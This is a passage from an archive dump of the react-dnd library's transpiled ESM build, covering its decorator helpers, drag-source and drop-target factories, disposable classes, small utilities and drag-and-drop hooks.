_typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); } function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; } function _iterableToArrayLimit(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } function _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } function _isNativeReflectConstruct() { if (typeof Reflect === "undefined" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === "function") return true; try { Date.prototype.toString.call(Reflect.construct(Date, [], function () {})); return true; } catch (e) { return false; } } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } import * as React from 'react'; import { shallowEqual } from '@react-dnd/shallowequal'; import { invariant } from '@react-dnd/invariant'; import hoistStatics from 'hoist-non-react-statics'; import { DndContext } from '../common/DndContext'; import { isPlainObject } from '../utils/js_utils'; import { Disposable, CompositeDisposable, SerialDisposable } from './disposables'; import { isRefable } from './utils'; export function decorateHandler(_ref) { var DecoratedComponent = _ref.DecoratedComponent, createHandler = _ref.createHandler, createMonitor = _ref.createMonitor, createConnector = _ref.createConnector, registerHandler = _ref.registerHandler, containerDisplayName = _ref.containerDisplayName, getType = _ref.getType, collect = _ref.collect, options = _ref.options; var _options$arePropsEqua = options.arePropsEqual, arePropsEqual = _options$arePropsEqua === void 0 ? shallowEqual : _options$arePropsEqua; var Decorated = DecoratedComponent; var displayName = DecoratedComponent.displayName || DecoratedComponent.name || 'Component'; var DragDropContainer = /** @class */ function () { var DragDropContainer = /*#__PURE__*/function (_React$Component) { _inherits(DragDropContainer, _React$Component); var _super = _createSuper(DragDropContainer); function DragDropContainer(props) { var _this; _classCallCheck(this, DragDropContainer); _this = _super.call(this, props); _this.decoratedRef = React.createRef(); _this.handleChange = function () { var nextState = _this.getCurrentState(); if (!shallowEqual(nextState, _this.state)) { _this.setState(nextState); } }; _this.disposable = new SerialDisposable(); _this.receiveProps(props); _this.dispose(); return _this; } _createClass(DragDropContainer, [{ key: "getHandlerId", value: function getHandlerId() { return this.handlerId; } }, { key: "getDecoratedComponentInstance", value: function getDecoratedComponentInstance() { invariant(this.decoratedRef.current, 'In order to access an instance of the decorated component, it must either be a class component or use React.forwardRef()'); return this.decoratedRef.current; } }, { key: "shouldComponentUpdate", value: function shouldComponentUpdate(nextProps, nextState) { return !arePropsEqual(nextProps, this.props) || !shallowEqual(nextState, this.state); } }, { key: "componentDidMount", value: function componentDidMount() { this.disposable = new SerialDisposable(); this.currentType = undefined; this.receiveProps(this.props); this.handleChange(); } }, { key: "componentDidUpdate", value: function componentDidUpdate(prevProps) { if (!arePropsEqual(this.props, prevProps)) { this.receiveProps(this.props); this.handleChange(); } } }, { key: "componentWillUnmount", value: function componentWillUnmount() { this.dispose(); } }, { key: "receiveProps", value: function receiveProps(props) { if (!this.handler) { return; } this.handler.receiveProps(props); this.receiveType(getType(props)); } }, { key: "receiveType", value: function receiveType(type) { if (!this.handlerMonitor || !this.manager || !this.handlerConnector) { return; } if (type === this.currentType) { return; } this.currentType = type; var _registerHandler = registerHandler(type, this.handler, this.manager), _registerHandler2 = _slicedToArray(_registerHandler, 2), handlerId = _registerHandler2[0], unregister = _registerHandler2[1]; this.handlerId = handlerId; this.handlerMonitor.receiveHandlerId(handlerId); this.handlerConnector.receiveHandlerId(handlerId); var globalMonitor = this.manager.getMonitor(); var unsubscribe = globalMonitor.subscribeToStateChange(this.handleChange, { handlerIds: [handlerId] }); this.disposable.setDisposable(new CompositeDisposable(new Disposable(unsubscribe), new Disposable(unregister))); } }, { key: "dispose", value: function dispose() { this.disposable.dispose(); if (this.handlerConnector) { this.handlerConnector.receiveHandlerId(null); } } }, { key: "getCurrentState", value: function getCurrentState() { if (!this.handlerConnector) { return {}; } var nextState = collect(this.handlerConnector.hooks, this.handlerMonitor, this.props); if (process.env.NODE_ENV !== 'production') { invariant(isPlainObject(nextState), 'Expected `collect` specified as the second argument to ' + '%s for %s to return a plain object of props to inject. ' + 'Instead, received %s.', containerDisplayName, displayName, nextState); } return nextState; } }, { key: "render", value: function render() { var _this2 = this; return React.createElement(DndContext.Consumer, null, function (_ref2) { var dragDropManager = _ref2.dragDropManager; _this2.receiveDragDropManager(dragDropManager); if (typeof requestAnimationFrame !== 'undefined') { requestAnimationFrame(function () { var _this2$handlerConnect; return (_this2$handlerConnect = _this2.handlerConnector) === null || _this2$handlerConnect === void 0 ? void 0 : _this2$handlerConnect.reconnect(); }); } return React.createElement(Decorated, Object.assign({}, _this2.props, _this2.getCurrentState(), { // NOTE: if Decorated is a Function Component, decoratedRef will not be populated unless it's a refforwarding component. ref: isRefable(Decorated) ? _this2.decoratedRef : null })); }); } }, { key: "receiveDragDropManager", value: function receiveDragDropManager(dragDropManager) { if (this.manager !== undefined) { return; } invariant(dragDropManager !== undefined, 'Could not find the drag and drop manager in the context of %s. ' + 'Make sure to render a DndProvider component in your top-level component. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/troubleshooting#could-not-find-the-drag-and-drop-manager-in-the-context', displayName, displayName); if (dragDropManager === undefined) { return; } this.manager = dragDropManager; this.handlerMonitor = createMonitor(dragDropManager); this.handlerConnector = createConnector(dragDropManager.getBackend()); this.handler = createHandler(this.handlerMonitor, this.decoratedRef); } }]); return DragDropContainer; }(React.Component); DragDropContainer.DecoratedComponent = DecoratedComponent; DragDropContainer.displayName = "".concat(containerDisplayName, "(").concat(displayName, ")"); return DragDropContainer; }(); return hoistStatics(DragDropContainer, DecoratedComponent); }esm/decorators/index.js000064400000000166151677306070011161 0ustar00export * from './DragSource'; export * from './DropTarget'; export * from './DragLayer'; export * from './interfaces';esm/decorators/DragSource.js000064400000005303151677306070012106 0ustar00import { invariant } from '@react-dnd/invariant'; import { isPlainObject } from '../utils/js_utils'; import { checkDecoratorArguments } from './utils'; import { decorateHandler } from './decorateHandler'; import { registerSource } from '../common/registration'; import { DragSourceMonitorImpl } from '../common/DragSourceMonitorImpl'; import { SourceConnector } from '../common/SourceConnector'; import { isValidType } from '../utils/isValidType'; import { createSourceFactory } from './createSourceFactory'; /** * Decorates a component as a dragsource * @param type The dragsource type * @param spec The drag source specification * @param collect The props collector function * @param options DnD options */ export function DragSource(type, spec, collect) { var options = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : {}; checkDecoratorArguments('DragSource', 'type, spec, collect[, options]', type, spec, collect, options); var getType = type; if (typeof type !== 'function') { invariant(isValidType(type), 'Expected "type" provided as the first argument to DragSource to be ' + 'a string, or a function that returns a string given the current props. ' + 'Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', type); getType = function getType() { return type; }; } invariant(isPlainObject(spec), 'Expected "spec" provided as the second argument to DragSource to be ' + 'a plain object. Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', spec); var createSource = createSourceFactory(spec); invariant(typeof collect === 'function', 'Expected "collect" provided as the third argument to DragSource to be ' + 'a function that returns a plain object of props to inject. ' + 'Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', collect); invariant(isPlainObject(options), 'Expected "options" provided as the fourth argument to DragSource to be ' + 'a plain object when specified. ' + 'Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', collect); return function decorateSource(DecoratedComponent) { return decorateHandler({ containerDisplayName: 'DragSource', createHandler: createSource, registerHandler: registerSource, createConnector: function createConnector(backend) { return new SourceConnector(backend); }, createMonitor: function createMonitor(manager) { return new DragSourceMonitorImpl(manager); }, DecoratedComponent: DecoratedComponent, getType: getType, collect: collect, options: options }); }; }esm/decorators/createSourceFactory.js000064400000007264151677306070014034 0ustar00function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } import { invariant } from '@react-dnd/invariant'; import { isPlainObject } from '../utils/js_utils'; import { getDecoratedComponent } from './utils'; var ALLOWED_SPEC_METHODS = ['canDrag', 'beginDrag', 'isDragging', 'endDrag']; var REQUIRED_SPEC_METHODS = ['beginDrag']; var SourceImpl = /*#__PURE__*/function () { function SourceImpl(spec, monitor, ref) { var _this = this; _classCallCheck(this, SourceImpl); this.props = null; this.beginDrag = function () { if (!_this.props) { return; } var item = _this.spec.beginDrag(_this.props, _this.monitor, _this.ref.current); if (process.env.NODE_ENV !== 'production') { invariant(isPlainObject(item), 'beginDrag() must return a plain object that represents the dragged item. ' + 'Instead received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', item); } return item; }; this.spec = spec; this.monitor = monitor; this.ref = ref; } _createClass(SourceImpl, [{ key: "receiveProps", value: function receiveProps(props) { this.props = props; } }, { key: "canDrag", value: function canDrag() { if (!this.props) { return false; } if (!this.spec.canDrag) { return true; } return this.spec.canDrag(this.props, this.monitor); } }, { key: "isDragging", value: function isDragging(globalMonitor, sourceId) { if (!this.props) { return false; } if (!this.spec.isDragging) { return sourceId === globalMonitor.getSourceId(); } return this.spec.isDragging(this.props, this.monitor); } }, { key: "endDrag", value: function endDrag() { if (!this.props) { return; } if (!this.spec.endDrag) { return; } this.spec.endDrag(this.props, this.monitor, getDecoratedComponent(this.ref)); } }]); return SourceImpl; }(); export function createSourceFactory(spec) { Object.keys(spec).forEach(function (key) { invariant(ALLOWED_SPEC_METHODS.indexOf(key) > -1, 'Expected the drag source specification to only have ' + 'some of the following keys: %s. ' + 'Instead received a specification with an unexpected "%s" key. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', ALLOWED_SPEC_METHODS.join(', '), key); invariant(typeof spec[key] === 'function', 'Expected %s in the drag source specification to be a function. ' + 'Instead received a specification with %s: %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', key, key, spec[key]); }); REQUIRED_SPEC_METHODS.forEach(function (key) { invariant(typeof spec[key] === 'function', 'Expected %s in the drag source specification to be a function. ' + 'Instead received a specification with %s: %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', key, key, spec[key]); }); return function createSource(monitor, ref) { return new SourceImpl(spec, monitor, ref); }; }esm/decorators/createTargetFactory.js000064400000006125151677306070014015 0ustar00function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } import { invariant } from '@react-dnd/invariant'; import { isPlainObject } from '../utils/js_utils'; import { getDecoratedComponent } from './utils'; var ALLOWED_SPEC_METHODS = ['canDrop', 'hover', 'drop']; var TargetImpl = /*#__PURE__*/function () { function TargetImpl(spec, monitor, ref) { _classCallCheck(this, TargetImpl); this.props = null; this.spec = spec; this.monitor = monitor; this.ref = ref; } _createClass(TargetImpl, [{ key: "receiveProps", value: function receiveProps(props) { this.props = props; } }, { key: "receiveMonitor", value: function receiveMonitor(monitor) { this.monitor = monitor; } }, { key: "canDrop", value: function canDrop() { if (!this.spec.canDrop) { return true; } return this.spec.canDrop(this.props, this.monitor); } }, { key: "hover", value: function hover() { if (!this.spec.hover || !this.props) { return; } this.spec.hover(this.props, this.monitor, getDecoratedComponent(this.ref)); } }, { key: "drop", value: function drop() { if (!this.spec.drop) { return undefined; } var dropResult = this.spec.drop(this.props, this.monitor, this.ref.current); if (process.env.NODE_ENV !== 'production') { invariant(typeof dropResult === 'undefined' || isPlainObject(dropResult), 'drop() must either return undefined, or an object that represents the drop result. ' + 'Instead received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', dropResult); } return dropResult; } }]); return TargetImpl; }(); export function createTargetFactory(spec) { Object.keys(spec).forEach(function (key) { invariant(ALLOWED_SPEC_METHODS.indexOf(key) > -1, 'Expected the drop target specification to only have ' + 'some of the following keys: %s. ' + 'Instead received a specification with an unexpected "%s" key. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', ALLOWED_SPEC_METHODS.join(', '), key); invariant(typeof spec[key] === 'function', 'Expected %s in the drop target specification to be a function. ' + 'Instead received a specification with %s: %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', key, key, spec[key]); }); return function createTarget(monitor, ref) { return new TargetImpl(spec, monitor, ref); }; }esm/decorators/disposables.js000064400000014612151677306070012363 0ustar00function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } import { isFunction, noop } from '../utils/js_utils'; /** * Provides a set of static methods for creating Disposables. * @param {Function} action Action to run during the first call to dispose. * The action is guaranteed to be run at most once. */ var Disposable = /** @class */ function () { var Disposable = /*#__PURE__*/function () { function Disposable(action) { _classCallCheck(this, Disposable); this.isDisposed = false; this.action = isFunction(action) ? action : noop; } /** * Validates whether the given object is a disposable * @param {Object} Object to test whether it has a dispose method * @returns {Boolean} true if a disposable object, else false. */ _createClass(Disposable, [{ key: "dispose", /** Performs the task of cleaning up resources. */ value: function dispose() { if (!this.isDisposed) { this.action(); this.isDisposed = true; } } }], [{ key: "isDisposable", value: function isDisposable(d) { return Boolean(d && isFunction(d.dispose)); } }, { key: "_fixup", value: function _fixup(result) { return Disposable.isDisposable(result) ? result : Disposable.empty; } /** * Creates a disposable object that invokes the specified action when disposed. * @param {Function} dispose Action to run during the first call to dispose. * The action is guaranteed to be run at most once. * @return {Disposable} The disposable object that runs the given action upon disposal. */ }, { key: "create", value: function create(action) { return new Disposable(action); } }]); return Disposable; }(); /** * Gets the disposable that does nothing when disposed. */ Disposable.empty = { dispose: noop }; return Disposable; }(); export { Disposable }; /** * Represents a group of disposable resources that are disposed together. * @constructor */ export var CompositeDisposable = /*#__PURE__*/function () { function CompositeDisposable() { _classCallCheck(this, CompositeDisposable); this.isDisposed = false; for (var _len = arguments.length, disposables = new Array(_len), _key = 0; _key < _len; _key++) { disposables[_key] = arguments[_key]; } this.disposables = disposables; } /** * Adds a disposable to the CompositeDisposable or disposes the disposable if the CompositeDisposable is disposed. * @param {Any} item Disposable to add. */ _createClass(CompositeDisposable, [{ key: "add", value: function add(item) { if (this.isDisposed) { item.dispose(); } else { this.disposables.push(item); } } /** * Removes and disposes the first occurrence of a disposable from the CompositeDisposable. * @param {Any} item Disposable to remove. * @returns {Boolean} true if found; false otherwise. */ }, { key: "remove", value: function remove(item) { var shouldDispose = false; if (!this.isDisposed) { var idx = this.disposables.indexOf(item); if (idx !== -1) { shouldDispose = true; this.disposables.splice(idx, 1); item.dispose(); } } return shouldDispose; } /** * Disposes all disposables in the group and removes them from the group but * does not dispose the CompositeDisposable. */ }, { key: "clear", value: function clear() { if (!this.isDisposed) { var len = this.disposables.length; var currentDisposables = new Array(len); for (var i = 0; i < len; i++) { currentDisposables[i] = this.disposables[i]; } this.disposables = []; for (var _i = 0; _i < len; _i++) { currentDisposables[_i].dispose(); } } } /** * Disposes all disposables in the group and removes them from the group. */ }, { key: "dispose", value: function dispose() { if (!this.isDisposed) { this.isDisposed = true; var len = this.disposables.length; var currentDisposables = new Array(len); for (var i = 0; i < len; i++) { currentDisposables[i] = this.disposables[i]; } this.disposables = []; for (var _i2 = 0; _i2 < len; _i2++) { currentDisposables[_i2].dispose(); } } } }]); return CompositeDisposable; }(); /** * Represents a disposable resource whose underlying disposable resource can * be replaced by another disposable resource, causing automatic disposal of * the previous underlying disposable resource. */ export var SerialDisposable = /*#__PURE__*/function () { function SerialDisposable() { _classCallCheck(this, SerialDisposable); this.isDisposed = false; } /** * Gets the underlying disposable. * @returns {Any} the underlying disposable. */ _createClass(SerialDisposable, [{ key: "getDisposable", value: function getDisposable() { return this.current; } }, { key: "setDisposable", value: function setDisposable(value) { var shouldDispose = this.isDisposed; if (!shouldDispose) { var old = this.current; this.current = value; if (old) { old.dispose(); } } if (shouldDispose && value) { value.dispose(); } } /** Performs the task of cleaning up resources. */ }, { key: "dispose", value: function dispose() { if (!this.isDisposed) { this.isDisposed = true; var old = this.current; this.current = undefined; if (old) { old.dispose(); } } } }]); return SerialDisposable; }();esm/decorators/interfaces.js000064400000000000151677306070012160 0ustar00esm/utils/isRef.js000064400000001101151677306070010103 0ustar00function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } export function isRef(obj) { return (// eslint-disable-next-line no-prototype-builtins obj !== null && _typeof(obj) === 'object' && Object.prototype.hasOwnProperty.call(obj, 'current') ); }esm/utils/cloneWithRef.js000064400000001624151677306070011436 0ustar00import { cloneElement } from 'react'; import { invariant } from '@react-dnd/invariant'; function setRef(ref, node) { if (typeof ref === 'function') { ref(node); } else { ref.current = node; } } export function cloneWithRef(element, newRef) { var previousRef = element.ref; invariant(typeof previousRef !== 'string', 'Cannot connect React DnD to an element with an existing string ref. ' + 'Please convert it to use a callback ref instead, or wrap it into a <span> or <div>. ' + 'Read more: https://facebook.github.io/react/docs/more-about-refs.html#the-ref-callback-attribute'); if (!previousRef) { // When there is no ref on the element, use the new ref directly return cloneElement(element, { ref: newRef }); } else { return cloneElement(element, { ref: function ref(node) { setRef(previousRef, node); setRef(newRef, node); } }); } }esm/utils/isValidType.js000064400000001131151677306070011273 0ustar00function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } export function isValidType(type, allowArray) { return typeof type === 'string' || _typeof(type) === 'symbol' || !!allowArray && Array.isArray(type) && type.every(function (t) { return isValidType(t, false); }); }esm/interfaces/hooksApi.js000064400000000000151677306070011570 0ustar00esm/interfaces/monitors.js000064400000000000151677306070011665 0ustar00esm/interfaces/index.js000064400000000160151677306070011131 0ustar00export * from './monitors'; export * from './hooksApi'; export * from './options'; export * from './connectors';esm/interfaces/connectors.js000064400000000000151677306070012170 0ustar00esm/interfaces/options.js000064400000000000151677306070011506 0ustar00esm/hooks/useDrop.js000064400000005317151677306070010454 0ustar00function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); } function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; } function _iterableToArrayLimit(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } import { useRef, useMemo } from 'react'; import { invariant } from '@react-dnd/invariant'; import { useMonitorOutput } from './internal/useMonitorOutput'; import { useIsomorphicLayoutEffect } from './internal/useIsomorphicLayoutEffect'; import { useDropHandler, useDropTargetMonitor } from './internal/drop'; /** * useDropTarget Hook * @param spec The drop target specification */ export function useDrop(spec) { var specRef = useRef(spec); specRef.current = spec; invariant(spec.accept != null, 'accept must be defined'); var _useDropTargetMonitor = useDropTargetMonitor(), _useDropTargetMonitor2 = _slicedToArray(_useDropTargetMonitor, 2), monitor = _useDropTargetMonitor2[0], connector = _useDropTargetMonitor2[1]; useDropHandler(specRef, monitor, connector); var result = useMonitorOutput(monitor, specRef.current.collect || function () { return {}; }, function () { return connector.reconnect(); }); var connectDropTarget = useMemo(function () { return connector.hooks.dropTarget(); }, [connector]); useIsomorphicLayoutEffect(function () { connector.dropTargetOptions = spec.options || null; connector.reconnect(); }, [spec.options]); return [result, connectDropTarget]; }esm/hooks/internal/drag.js000064400000010434151677306070011560 0ustar00function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); } function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; } function _iterableToArrayLimit(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } import { useMemo } from 'react'; import { invariant } from '@react-dnd/invariant'; import { registerSource } from '../../common/registration'; import { useDragDropManager } from '../useDragDropManager'; import { DragSourceMonitorImpl } from '../../common/DragSourceMonitorImpl'; import { SourceConnector } from '../../common/SourceConnector'; import { useIsomorphicLayoutEffect } from './useIsomorphicLayoutEffect'; export function useDragSourceMonitor() { var manager = useDragDropManager(); var monitor = useMemo(function () { return new DragSourceMonitorImpl(manager); }, [manager]); var connector = useMemo(function () { return new SourceConnector(manager.getBackend()); }, [manager]); return [monitor, connector]; } export function useDragHandler(spec, monitor, connector) { var manager = useDragDropManager(); var handler = useMemo(function () { return { beginDrag: function beginDrag() { var _spec$current = spec.current, begin = _spec$current.begin, item = _spec$current.item; if (begin) { var beginResult = begin(monitor); invariant(beginResult == null || _typeof(beginResult) === 'object', 'dragSpec.begin() must either return an object, undefined, or null'); return beginResult || item || {}; } return item || {}; }, canDrag: function canDrag() { if (typeof spec.current.canDrag === 'boolean') { return spec.current.canDrag; } else if (typeof spec.current.canDrag === 'function') { return spec.current.canDrag(monitor); } else { return true; } }, isDragging: function isDragging(globalMonitor, target) { var isDragging = spec.current.isDragging; return isDragging ? isDragging(monitor) : target === globalMonitor.getSourceId(); }, endDrag: function endDrag() { var end = spec.current.end; if (end) { end(monitor.getItem(), monitor); } connector.reconnect(); } }; }, []); useIsomorphicLayoutEffect(function registerHandler() { var _registerSource = registerSource(spec.current.item.type, handler, manager), _registerSource2 = _slicedToArray(_registerSource, 2), handlerId = _registerSource2[0], unregister = _registerSource2[1]; monitor.receiveHandlerId(handlerId); connector.receiveHandlerId(handlerId); return unregister; }, []); }esm/hooks/internal/useIsomorphicLayoutEffect.js000064400000000320151677306070016000 0ustar00import { useLayoutEffect, useEffect } from 'react'; // suppress the useLayoutEffect warning on server side. export var useIsomorphicLayoutEffect = typeof window !== 'undefined' ? useLayoutEffect : useEffect;esm/hooks/internal/useMonitorOutput.js000064400000004275151677306070014236 0ustar00function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); } function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; } function _iterableToArrayLimit(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) 